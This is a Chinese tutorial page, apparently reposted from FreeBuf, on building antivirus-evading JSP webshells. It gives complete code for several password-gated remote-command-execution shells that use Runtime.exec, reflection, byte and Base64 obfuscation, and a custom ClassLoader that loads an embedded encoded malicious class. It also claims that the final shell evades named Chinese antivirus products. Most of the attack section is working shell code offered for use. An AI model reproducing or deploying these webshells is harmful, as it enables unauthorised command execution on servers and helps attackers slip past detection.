当前位置: 首页 > news >正文

JSP免杀马

JSP免杀马

随着Java框架的进化和程序员的内卷,使用PHP编写的系统越来少,使用Java编写的系统越来越多。JSP马的使用越来越多,但是就目前来看,各大厂商对JSP马的查杀效果还是不尽人意。这里简单通过Java的反射机制和ClassLoader技术尝试绕过杀毒软件。

先介绍这几个常见的Java概念。

Java反射

概念

Java的反射(reflection)机制是指在程序的运行状态中,可以构造任意一个类的对象,可以了解任意一个对象所属的类,可以了解任意一个类的成员变量和方法,可以调用任意一个对象的属性和方法。这种动态获取程序信息以及动态调用对象的功能称为Java语言的反射机制。反射被视为动态语言的关键。——《JAVA反射机制》百度百科

要想了解Java反射,首先要了解到.java文件是无法直接执行的,需要将其编译成.class字节码文件,然后借助借助Java虚拟机也就是jvm进行执行。

通过Java语言中的反射机制可以直接操作字节码文件。

要操作一个类的字节码,需要首先获取,有以下三种方式获取java.lang.Class实例:

//1
Class.forName(“完整类名带包名”)
//2
对象.getClass()
//3
任何类型.class

这三种获取方式没有使用上的区别。

下面我们通过一个实例来使用一下Java的反射机制。

实例

创建Reflect类:

public class Reflect {private static Reflect reflect = new Reflect();public Reflect() {}public static Reflect getReflect() {return reflect;}public void print(int a, int b) {System.out.println(a + b);}
}

利用反射的方式调用函数:

import java.lang.reflect.Method;public class testClass {public static void main(String[] args) throws Throwable {//正常方式Reflect reflect = new Reflect();reflect.print(1, 2);//部分反射//通过运行时的对象调用getClass();Class<?> aClass = Class.forName("reflection.Reflect");//getMethod(方法名,参数类型)//getMethod第一个参数是方法名,第二个参数是该方法的参数类型//因为存在同方法名不同参数这种情况//所以只有同时指定方法名和参数类型才能唯一确定一个方法Method method = aClass.getMethod("print", int.class, int.class);//相当于reflect.print(1, 2);方法的反射操作是用method对象来进行方法调用//和reflect.print调用的效果完全相同//使用reflect调用m1获得的对象所声明的公开方法即print,并将int类型的1,2作为参数传入method.invoke(reflect, 1, 2);//全部反射Class.forName("reflection.Reflect").getMethod("print", int.class, int.class).invoke(Class.forName("reflection.Reflect").getMethod("getReflect").invoke(Class.forName("reflection.Reflect")), 1, 2);//如需获取实例化,也可以使用newInstance()Object instance = aClass.newInstance();System.out.println("instance = " + instance);}
}

执行结果如下:

3
3
3
instance = reflection.Reflect@28d93b30

ClassLoader加载机制

ClassLoader具体作用是将.class文件加载到jvm虚拟机中,程序就可以正确运行了。但是,jvm启动的时候,并不会一次性加载所有的.class文件,而是根据需要去动态加载。

Java语言自带有三个类加载器:

  • **Bootstrap ClassLoade**为最顶层的加载类,主要加载核心类库,%JRE_HOME%\\lib下的rt.jarresources.jarcharsets.jarclass等。

  • **Extention ClassLoader**为扩展的类加载器,加载目录%JRE_HOME%\\lib\\ext目录下的jar包和class文件。

  • **Appclass Loader**也称为**SystemAppClass**为加载当前应用的classpath的所有类。

BootstrapClassLoaderExtClassLoaderAppClassLoader是通过查阅相应的环境属性sun.boot.class.pathjava.ext.dirsjava.class.path来加载资源文件。

类加载器也是Java类,因为Java类的类加载器本身也是要被类加载器加载的,显然必须有第一个类加载器不是Java类,这个正是Bootstrap ClassLoade****,使用C/C++代码写的,已经封装到jvm内核中了,jvm启动时通过Bootstrap类加载器加载rt.jar等核心jar包中的class文件,初始化sun.misc.Launcher并创建Extension ClassLoaderAppClassLoader实例,sun.misc.Launcher是Java虚拟机的入口应用。而ExtClassLoaderAppClassLoaderJava类。

可以使用以下代码来测试:

public class LoaderClass {public static void main(String[] args) {//BootstrapClassLoader加载的jar包System.out.println(System.getProperty("sun.boot.class.path"));//ExtClassLoader加载的jar包System.out.println(System.getProperty("java.ext.dirs"));//SystemClassLoader(AppClassLoader)加载的内容//结果为当前java工程目录target/classes,里面存放的是编译生成的class文件System.out.println(System.getProperty("java.class.path"));//使用自定义的ClassLoader加载系统类加载器ClassLoader systemClassLoader = Loader.MyLoader.class.getClassLoader();System.out.println("systemClassLoader = " + systemClassLoader);//调用系统类加载器的getParent():获取扩展类加载器ClassLoader extensionClassLoader = systemClassLoader.getParent();System.out.println("extensionClassLoader = " + extensionClassLoader);//调用扩展类加载器的getParent():无法获取引导类加载器//引导类加载器主要负责加载Java的核心类库,无法加载自定义类ClassLoader bootstrapClassloader = extensionClassLoader.getParent();System.out.println("bootstrapClassloader = " + bootstrapClassloader);//sun.misc.Launcher是java虚拟机的入口应用}
}

通过执行可以看到,BootstrapClassLoader加载的主要是jre目录下的jar包或者是class文件;ExtClassLoader加载的是jre\\lib\\ext目录;AppClassLoader加载当前应用的classpath的所有类,核心是加载java工程目录target/classes,里面存放的是编译生成的class文件。

我们可以自定义类加载器挂载到AppClassLoader上。

Java加载类时使用类加载器的委托机制,举个例子,假如我们自定义了一个类加载器MyClassLoader,自定定义的MyClassLoader首先会先委托给AppClassLoaderAppClassLoader会委托给ExtClassLoaderExtClassLoader会委托给BootstrapClassLoader,这时候BootstrapClassLoader就去加载,如果加载成功,结束;如果加载失败,就交给ExtClassLoader去加载,如果ExtClassLoader加载成功,结束;如果加载失败就交给AppClassLoader加载,如果加载成功,结束;如果加载失败,就交给自定义的MyClassLoader类加载器加载,如果加载失败,就报ClassNotFoundException异常,结束。

扯远了,接下来正式通过创建自定义的类加载器来尝试绕过杀软。

JSP免杀马

在Java中通常使用Runtime.*getRuntime*().exec("")进行命令执行,这里写一个最简单的JSP马:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%if ("666".equals(request.getParameter("pwd"))) {java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();out.print("<pre>");java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);String s = null;while ((s = stdInput.readLine()) != null) {out.println(s);}out.print("</pre>");}
%>

但是这个太容易被检测到了,Runtime.*getRuntime*().exec("")明晃晃。

稍微进化下,尝试使用反射机制:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%if (request.getParameter("cmd") != null) {Class rt = Class.forName("java.lang.Runtime");Process e = (Process) rt.getMethod("exec").invoke(rt.getMethod("getRuntime").invoke(null), request.getParameter("cmd"));java.io.InputStream in = e.getInputStream();out.print("<pre>");java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);String s = null;while ((s = stdInput.readLine()) != null) {out.println(s);}out.print("</pre>");}
%>

这下比之前稍微好了一些,没有直接调用恶意类,可以绕过部分利用类检测的规则。但是部分规则也会利用字段进行监测,我们可以对其中的java.lang.RuntimeexecgetRuntime等进行加密:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="sun.misc.BASE64Decoder" %>
<%if (request.getParameter("cmd") != null) {BASE64Decoder decoder = new BASE64Decoder();byte[] bytes = decoder.decodeBuffer("MTA1LCA5NiwgMTE3LCA5NiwgNDUsIDEwNywgOTYsIDEwOSwgMTAyLCA0NSwgODEsIDExNiwgMTA5LCAxMTUsIDEwNCwgMTA4LCAxMDA=");for (int i = 0; i < bytes.length; i++) {bytes[i] = (byte) (bytes[i] + 1);}Class rt = Class.forName(new String(bytes));Process e = (Process) rt.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class).invoke(rt.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101})).invoke(null), request.getParameter("cmd"));java.io.InputStream in = e.getInputStream();out.print("<pre>");java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);String s = null;while ((s = stdInput.readLine()) != null) {out.println(s);}out.print("</pre>");}
%>

我们通过删减的方式测试,发现只要有invoke函数就会报可疑文件。目前大多数的杀软已经对反射进行查杀。

我们通过ClassLoader来试一下。

先使用mian加载的方式尝试进行命令执行,写一个恶意类:

import java.io.IOException;public class calc {public calc() {}public String toString() {try {Runtime.getRuntime().exec("calc.exe");} catch (IOException var2) {var2.printStackTrace();}return "OK";}
}

将上述恶意类进行Base64加密并写入,使用自定义的类加载器MyLoader进行加载,main执行:

import sun.misc.BASE64Decoder;public class Loader {public static class MyLoader extends ClassLoader {public Class get(byte[] b) {return super.defineClass(null, b, 0, b.length);}}public static void main(String[] args) throws Exception {String classStr = "yv66vgAAADQAKQoACQAZCgAaABsIABwKABoAHQcAHgoABQAfCAAgBwAhBwAiAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABJMb3JnL2V4YW1wbGUvY2FsYzsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB4BAApTb3VyY2VGaWxlAQAJY2FsYy5qYXZhDAAKAAsHACMMACQAJQEACGNhbGMuZXhlDAAmACcBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAoAAsBAAJPSwEAEG9yZy9leGFtcGxlL2NhbGMBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qc@@@jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAgACQAAAAAAAgABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAAMADgAAAAwAAQAAAAUADwAQAAAAAQARABIAAQAMAAAAbQACAAIAAAAUuAACEgO2AARXpwAITCu2AAYSB7AAAQAAAAkADAAFAAMADQAAABYABQAAAAcACQAKAAwACAANAAkAEQALAA4AAAAWAAIADQAEABMAFAABAAAAFAAPABAAAAAVAAAABwACTAcAFgQAAQAXAAAAAgAY"; // class的base64编码BASE64Decoder code = new sun.misc.BASE64Decoder();System.out.println("code = " + code);Class result = new MyLoader().get(code.decodeBuffer(classStr));System.out.println(result.newInstance().toString());}
}

成功执行。开始写JSP马。

先写一个恶意类:

package pass.loader;import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;public class EvalClass {public String command;public EvalClass(String command) throws IOException {StringBuilder stringBuilder = new StringBuilder();Process process = Runtime.getRuntime().exec(command);BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));String print;while ((print = bufferedReader.readLine()) != null) {stringBuilder.append(print).append("\\n");}this.command = stringBuilder.toString();}@Overridepublic String toString() {return this.command;}
}

将上述恶意类进行Base64加密并写入,自定义的类加载器classLoader,最终的JSP马如下:

<%@ page import="sun.misc.BASE64Decoder" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%if ("666".equals(request.getParameter("pwd"))) {String cmd = request.getParameter("cmd");ClassLoader classLoader = new ClassLoader() {@Overrideprotected Class<?> findClass(String name) throws ClassNotFoundException {try {BASE64Decoder decoder = new BASE64Decoder();byte[] bytes = decoder.decodeBuffer("yv66vgAAADQAUAoAEQAuBwAvCgACAC4KADAAMQoAMAAyBwAzBwA0CgA1ADYKAAcANwoABgA4CgAGADkKAAIAOggAOwoAAgA8CQAQAD0HAD4HAD8BAAdjb21tYW5kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABdMcGFzcy9sb2FkZXIvRXZhbENsYXNzOwEADXN0cmluZ0J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAA5idWZmZXJlZFJlYWRlcgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEABXByaW50AQANU3RhY2tNYXBUYWJsZQcAPgcAQAcALwcAQQcAMwEACkV4Y2VwdGlvbnMHAEIBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAKU291cmNlRmlsZQEADkV2YWxDbGFzcy5qYXZhDAAUAEMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgcARAwARQBGDABHAEgBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgcAQQwASQBKDAAUAEsMABQATAwATQArDABOAE8BAAEKDAAqACsMABIAEwEAFXBhc3MvbG9hZGVyL0V2YWxDbGFzcwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQADKClWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qc@@@jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsAIQAQABEAAAABAAEAEgATAAAAAgABABQAFQACABYAAADnAAUABgAAAEsqtwABuwACWbcAA024AAQrtgAFTrsABlm7AAdZLbYACLcACbcACjoEGQS2AAtZOgXGABIsGQW2AAwSDbYADFen/+kqLLYADrUAD7EAAAADABcAAAAiAAgAAAAKAAQACwAMAAwAFAANACgADwAzABAAQgASAEoAEwAYAAAAPgAGAAAASwAZABoAAAAAAEsAEgATAAEADAA/ABsAHAACABQANwAdAB4AAwAoACMAHwAgAAQAMAAbACEAEwAFACIAAAAeAAL/ACgABQcAIwcAJAcAJQcAJgcAJwAA/AAZBwAkACgAAAAEAAEAKQABACoAKwABABYAAAAvAAEAAQAAAAUqtAAPsAAAAAIAFwAAAAYAAQAAABcAGAAAAAwAAQAAAAUAGQAaAAAAAQAsAAAAAgAt");return defineClass(name, bytes, 0, bytes.length);} catch (IOException e) {e.printStackTrace();}return super.findClass(name);}@Overridepublic Class<?> loadClass(String name) throws ClassNotFoundException {if (name.contains("EvalClass")) {out.print(obj.toString());return findClass(name);} else {return super.loadClass(name);}}};Class<?> evalClass = classLoader.loadClass("pass.loader.EvalClass");Constructor cos = evalClass.getConstructor(String.class);Object obj = cos.newInstance(cmd);out.print("<pre>");out.print(obj.toString());out.print("</pre>");}
%>

当前(2022年12月22日)可免杀火绒、360、D盾等。

使用ClassLoader方式构造JSP马难查杀的关键在于,恶意类完全隔离,上面的文件内容没有进行加密,加密后更加难以监测,如果要查杀,只能针对所有自构造的ClassLoader进行查杀,很多框架都使用了ClassLoader技术,不太能所有都监测和查杀。

总结

针对PHP马可通过监测核心的eval函数进行查杀,但是JSP马的查杀目前还没有很好的监测办法,除上述的利用ClassLoader进行免杀外,还可通过创建Runtime的父类等方式。

笔者水平有限,欢迎大家指出问题。

`m   9`竟然是敏感词,我把文中的换成了@@@,大家自行替换即可。

原文地址:https://www.freebuf.com/articles/web/355975.html

         @更多黑客渗透技能!欢迎关注扫码

相关文章:

JSP免杀马

JSP免杀马 随着Java框架的进化和程序员的内卷&#xff0c;使用PHP编写的系统越来少&#xff0c;使用Java编写的系统越来越多。JSP马的使用越来越多&#xff0c;但是就目前来看&#xff0c;各大厂商对JSP马的查杀效果还是不尽人意。这里简单通过Java的反射机制和ClassLoader技术…...

2023-10-16 node.js-调用python-记录

NodeJS 作为后端&#xff0c;仅在需要时调用 Python 在某些特殊的场景下&#xff0c;比如复杂耗时的数据处理和运算时&#xff0c;我们可以用 Python 脚本编写&#xff0c;然后使用 Node 的子进程调用 Python 脚本即可&#xff0c;这样可以提升效率。如下代码&#xff0c;我们…...

Kotlin 设置和获取协程名称

1&#xff0c;设置写成名称 创建协程作用域是或者创建协程是有个上下文参数&#xff08;context: CoroutineContext&#xff09; 创建协程作用域 CoroutineScope(Dispatchers.IO CoroutineName("协程A"))//Dispatchers.IO根据实际情况设置可有可无 源码&#xf…...

awk命令的使用

1.概念&#xff1a; awk是Linux以及UNIX环境中现有的功能最强大的数据处理工具 awk是一种处理文本数据的编程语言。awk的设计使得它非常适合于处理由行和列组成的文本数据 awk程序可以读取文本文件&#xff0c;对数据进行排序&#xff0c;对其中的数值执行计算以及生成报表等…...

【面试系列】Vue

引言&#xff1a;下面是一些常见的 Vue 面试题和对应的答案 目录 1. Vue 是什么&#xff1f;它有哪些特点&#xff1f;2. Vue 的生命周期有哪些&#xff1f;请简要描述每个生命周期的作用。3. Vue 组件间通信的有哪些方式&#xff1f;4. Vue 的 computed 和 watch 的区别是什么…...

揭开MyBatis的神秘面纱:掌握动态代理在底层实现中的精髓

一日小区漫步&#xff0c;我问朋友&#xff1a;Mybatis中声明一个interface接口&#xff0c;没有编写任何实现类&#xff0c;Mybatis就能返回接口实例&#xff0c;并调用接口方法返回数据库数据&#xff0c;你知道为什么不&#xff1f; 朋友很是诧异&#xff1a;是啊&#xff…...

结合领域驱动设计,理解TOGAF之架构方法论

TOGAF&#xff08;The Open Group Architecture Framework&#xff09;是一个开放的架构方法论&#xff0c;旨在支持组织制定和实施企业架构。它提供了一种框架来创建和管理企业架构&#xff0c;并包含了一组最佳实践&#xff0c;帮助组织实现其业务目标。 TOGAF框架包括四个主…...

Vue-vue项目Element-UI 表单组件内容要求判断

整体添加判断 <el-formref"ruleFormRef":model"formModel"class"demo-ruleForm"label-position"top"status-icon:rules"rules"><el-form-item label"姓名" prop"applyUsers" class"form-…...

【试题027】C语言宏定义小例题

1.题目&#xff1a; #define MOD(a,b) a%b int main() { int x4,y16,z; zMOD(y,x); printf("%dn".z)&#xff1b;} 则程序执行的结果是? 2.代码分析&#xff1a; #include <stdio.h> #define MOD(a,b) a%b int main() {int x 4, y 16, z;z MOD(y, …...

解决 sharp: Installation error: unable to verify the first certificate

使用 plasmo 时报错如下&#xff1a; E:\chromeplugins>pnpm create plasmo ../.pnpm-store/v3/tmp/dlx-46852 | 2 ../.pnpm-store/v3/tmp/dlx-46852 | Progress: resolved 2, reused 2, downloaded 0, added 2, done &#x1f7e3; Plasmo v0.83.0 &…...

【Java】Java实现100万+ 的高并发、高性能设计

Java实现100万 的高并发、高性能设计 1、简述 现百万级并发编是一项综合性的技术&#xff0c;同时&#xff0c;它与现实生活中 的场景有着紧密的联系。 搞懂并发编程有三大核心问题 分工问题 同步问题 互斥问题 本文就对这三大核心问题进行简单的介绍 2、分工问题 关于分工…...

linux系统下,在vscode的命令行中调试python文件

首先参考vscode官网文档Command line debugging 步骤 1&#xff08;只需一次&#xff09;&#xff1a;安装debugpy 步骤 2&#xff1a;在命令行中运行 python -m debugpy --listen 5678 --wait-for-client -m dir1.dir2.your_script 以上命令使用了端口5678&#xff0c;也可…...

DFS(分布式文件系统)与 DFSR(分布式文件系统复制)的区别

DFS&#xff08;分布式文件系统&#xff09;和 DFSR&#xff08;分布式文件系统复制&#xff09;是两种不同的技术&#xff0c;尽管它们在名称上有一些相似之处&#xff0c;但它们的用途和功能有所不同。 DFS&#xff08;分布式文件系统&#xff09; DFS 是一种用于创建和管理…...

丈母娘说:有编制的不如搞编程的

10月17日百度世界大会召开&#xff0c;据说文心大模型又牛X了&#xff0c;综合水平相比GPT4毫不逊色&#xff0c;真是个让人激动的消息&#xff0c;国产大模型的进展可以说是日新月异&#xff0c;我这耳朵边一直响彻四个字&#xff1a;遥遥领先。 不过今天我关注的重点不是什么…...

vue 部署后 405 not allowed

关于部署vue项目dist包&#xff0c;在nginx配置遇到的坑&#xff1a; 1.vue项目中vue.config.js的配置&#xff1a;devServer.proxy 可以是一个指向开发环境 API 服务器的字符串&#xff1a; evServer: {proxy: {/prod-api: {target: http://192.168.0.68:38090;,changeOrigi…...

【限时免费】20天拿下华为OD笔试之【回溯】2023Q1-硬件产品销售方案【欧弟算法】全网注释最详细分类最全的华为OD真题题解

【回溯】2023Q1-硬件产品销售方案 题目描述与示例 题目描述 某公司目前推出了 AI 开发者套件、AI 加速卡、AI 加速模块、AI 服务器、智能边缘多种硬件产品&#xff0c;每种产品包含若干个型号。现某合作厂商要采购金额为 amount 元的硬件产品搭建自己的 AI 基座。假设当前库…...

蜻蜓c影视追剧系统-多个小程序添加说明

多小程序添加设置 蜻蜓c影视追剧 支持多小程序添加&#xff0c;也就是可以管理不同前端的小程序。 此处id 对应前端小程序的mp值 关于添加小程序&#xff1a; 此处有所有填写内容的参考方式&#xff0c;要注意是必须开通了微信支付才可以添加&#xff0c;这里需要添加证书信息…...

linux 测试存储介质.emmc.nand.ufs.硬盘的读写速度方法

一、测试写速度 创建一个test.sh脚本 #!bin/bashcnt1 while [ $cnt -lt 50 ] // 循环50次 doecho "dd cnt $cnt" > /dev/consoledd if/dev/zero of/rawdata/test_${cnt}.txt bs1024 count102400//往储存介质分配的一个rawdata分区&#xff0c;写文件&#xff0…...

基于 KubeSphere 部署 KubeBlocks 实现数据库自由

作者&#xff1a;尹珉&#xff0c; KubeSphere Contributor & Ambassador&#xff0c;KubeSphere 社区用户委员会杭州站站长。 KubeSphere 是什么&#xff1f; KubeSphere 是在 Kubernetes 之上构建的面向云原生应用的分布式操作系统&#xff0c;完全开源&#xff0c;支持…...

图像识别-人脸识别与疲劳检测 - python opencv 计算机竞赛

文章目录 0 前言1 课题背景2 Dlib人脸识别2.1 简介2.2 Dlib优点2.3 相关代码2.4 人脸数据库2.5 人脸录入加识别效果 3 疲劳检测算法3.1 眼睛检测算法3.3 点头检测算法 4 PyQt54.1 简介4.2相关界面代码 5 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是…...

统计方法与机器学习融合的10大实战场景

1. 统计方法与机器学习融合的价值统计方法在机器学习项目中的应用&#xff0c;就像给工程师配备了一套精密的手术刀。我在2016年参与电商用户行为预测项目时&#xff0c;第一次深刻体会到描述性统计对特征工程的决定性作用。通过分析2000万条用户浏览记录的分布特征&#xff0c…...

WarcraftHelper:魔兽争霸3性能优化与兼容性修复完全指南

WarcraftHelper&#xff1a;魔兽争霸3性能优化与兼容性修复完全指南 【免费下载链接】WarcraftHelper Warcraft III Helper , support 1.20e, 1.24e, 1.26a, 1.27a, 1.27b 项目地址: https://gitcode.com/gh_mirrors/wa/WarcraftHelper 还在为《魔兽争霸3》这款经典RTS游…...

大模型开发资源合集(第二辑)

001629_基于大模型LLM的开发与编程教程 文件大小: -内容特色: 手撕LLM全栈源码&#xff0c;微调部署一条龙实操适用人群: 立志吃透大模型的程序猿与炼丹师核心价值: 私有化模型一键落地&#xff0c;砍掉一半踩坑时间下载链接: https://pan.quark.cn/s/c0cdf5100f28 V-4843&am…...

Autosar CAN通信实战:从DBC文件配置到代码生成,搞定一个完整信号收发(基于Vector工具链)

Autosar CAN通信实战&#xff1a;从DBC文件配置到代码生成 在车载电子系统开发中&#xff0c;CAN总线作为最常用的车载网络协议&#xff0c;其实现方式直接影响着整车通信的可靠性和实时性。Autosar标准为CAN通信提供了一套完整的软件架构&#xff0c;但如何将理论转化为实际工…...

Linux 0.11 源码探秘:setup.s 里那些 BIOS 中断调用,到底在给内核准备什么‘见面礼’?

Linux 0.11 启动探案录&#xff1a;BIOS 中断如何为内核铺路 当按下电源键的那一刻&#xff0c;一台 x86 计算机的启动过程就像一场精心策划的接力赛。BIOS 完成自检后&#xff0c;将接力棒交给 bootsect.s&#xff0c;再由 setup.s 接手——这个不到 512 字节的汇编程序&#…...

LaserGRBL:从图片到激光雕刻,3步掌握开源激光控制软件

LaserGRBL&#xff1a;从图片到激光雕刻&#xff0c;3步掌握开源激光控制软件 【免费下载链接】LaserGRBL Laser optimized GUI for GRBL 项目地址: https://gitcode.com/gh_mirrors/la/LaserGRBL 想要将创意转化为激光雕刻作品&#xff0c;却苦于找不到合适的控制软件&…...

Cursor估值500亿SpaceX战略期权-AI编程工具的资本逻辑

Cursor估值500亿、SpaceX战略期权——AI编程工具的资本逻辑到底在押注什么一个让人停下来想想的数字 2026年4月18日&#xff0c;TechCrunch的一篇报道在技术圈迅速扩散&#xff1a;AI编程工具Cursor正在洽谈超过20亿美元的新一轮融资&#xff0c;投后估值将达到500亿美元&#…...

STM32F4 + DRV8301电机驱动:从3PWM到6PWM,我的死区时间调试血泪史

STM32F4 DRV8301电机驱动&#xff1a;从3PWM到6PWM&#xff0c;我的死区时间调试血泪史 那是一个深夜的实验室&#xff0c;电机发出的刺耳尖啸声让我至今难忘。作为一名嵌入式工程师&#xff0c;我从未想过一个简单的死区时间设置会让我经历如此曲折的调试历程。本文将分享我在…...

C++高精度乘法保姆级教程:从‘大数乘小数’到‘大数乘大数’(附完整代码与避坑点)

C高精度乘法保姆级教程&#xff1a;从‘大数乘小数’到‘大数乘大数’&#xff08;附完整代码与避坑点&#xff09; 1. 为什么我们需要高精度乘法&#xff1f; 在编程竞赛或实际开发中&#xff0c;我们经常会遇到需要处理超大整数的情况。比如计算两个100位数的乘积&#xff0c…...

嵌入式——认识电子元器件——温度开关系列

温度开关温度开关介绍核心原理核心参数 & 对应单位常用专业名词介绍核心作用 & 功能用途1. 家用电器&#xff08;用量最大&#xff09;2. 工业电气设备3. 锂电与数码电源4. 汽车与新能源5. 工控与精密设备优缺点优点缺点温度开关 VS 温度保险丝 VS 热敏电阻 简易区分分…...